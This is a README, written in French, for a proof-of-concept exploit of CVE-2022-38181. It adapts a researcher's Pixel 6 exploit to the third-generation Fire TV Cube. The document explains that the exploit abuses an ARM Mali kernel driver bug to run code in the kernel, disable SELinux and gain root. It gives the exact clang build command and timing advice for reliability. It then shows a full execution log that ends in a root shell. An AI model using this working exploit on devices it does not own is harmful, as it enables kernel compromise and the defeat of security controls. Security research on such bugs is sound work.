
CVE-2022-38181 POC pour FireTV 3rd gen Cube (gazelle)
Ceci est un fork de la preuve de concept (POC) de Man Yue Mo, chercheur en sécurité, pour le Pixel 6 concernant CVE-2022-38181. Lisez son analyse détaillée de la vulnérabilité ici. Des modifications ont été apportées pour tenir compte de l'espace utilisateur 32 bits de FireOS. Le POC exploite un bug dans le pilote du noyau ARM Mali pour obtenir une exécution de code arbitraire dans le noyau, qui est ensuite utilisée pour désactiver SELinux et obtenir les privilèges root.
J'ai utilisé la commande suivante pour compiler avec clang dans ndk-21 :
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
Pour une fiabilité maximale, l'exploit doit être exécuté 30 à 90 secondes après le démarrage du Cube.
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #